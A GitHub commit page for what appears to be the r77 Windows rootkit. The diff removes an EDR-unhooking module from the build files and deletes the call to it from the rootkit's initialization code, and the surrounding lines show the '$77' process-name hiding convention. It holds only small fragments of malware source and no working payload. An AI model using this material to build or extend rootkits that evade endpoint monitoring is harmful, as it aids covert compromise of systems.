Skip to content

Commit ed8dea4

Browse files
author
Martin Fischer
committed
Bugfix: Do not unhook in r77.dll
1 parent 732aeec commit ed8dea4

File tree

4 files changed

+0
-8
lines changed

4 files changed

+0
-8
lines changed

r77-x64/r77-x64.vcxproj

-1
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,6 @@
2828
<ImportGroup Label="Shared">
2929
<Import Project="..\r77api\r77api.vcxitems" Label="Shared" />
3030
<Import Project="..\r77\r77.vcxitems" Label="Shared" />
31-
<Import Project="..\Unhook\Unhook.vcxitems" Label="Shared" />
3231
<Import Project="..\ReflectiveDllMain\ReflectiveDllMain.vcxitems" Label="Shared" />
3332
</ImportGroup>
3433
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">

r77-x86/r77-x86.vcxproj

-1
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,6 @@
2828
<ImportGroup Label="Shared">
2929
<Import Project="..\r77api\r77api.vcxitems" Label="Shared" />
3030
<Import Project="..\r77\r77.vcxitems" Label="Shared" />
31-
<Import Project="..\Unhook\Unhook.vcxitems" Label="Shared" />
3231
<Import Project="..\ReflectiveDllMain\ReflectiveDllMain.vcxitems" Label="Shared" />
3332
</ImportGroup>
3433
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">

r77.sln

-2
Original file line numberDiff line numberDiff line change
@@ -183,11 +183,9 @@ Global
183183
r77api\r77api.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
184184
r77\r77.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
185185
ReflectiveDllMain\ReflectiveDllMain.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
186-
Unhook\Unhook.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
187186
r77api\r77api.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
188187
r77\r77.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
189188
ReflectiveDllMain\ReflectiveDllMain.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
190-
Unhook\Unhook.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
191189
Helper\Helper.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4
192190
r77api\r77api.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4
193191
Service\Service.vcxitems*{46e171d4-1811-48be-8867-a63c28761d28}*SharedItemsImports = 9

r77/Rootkit.c

-4
Original file line numberDiff line numberDiff line change
@@ -3,16 +3,12 @@
33
#include "Config.h"
44
#include "r77def.h"
55
#include "r77header.h"
6-
#include "Unhook.h"
76
#include <Shlwapi.h>
87

98
static BOOL RootkitInitialized;
109

1110
BOOL InitializeRootkit()
1211
{
13-
// Unhook DLL's that are monitored by EDR.
14-
Unhook();
15-
1612
// If the process starts with $77, do not load r77.
1713
WCHAR executablePath[MAX_PATH + 1];
1814
if (FAILED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return FALSE;

0 commit comments

Comments
 (0)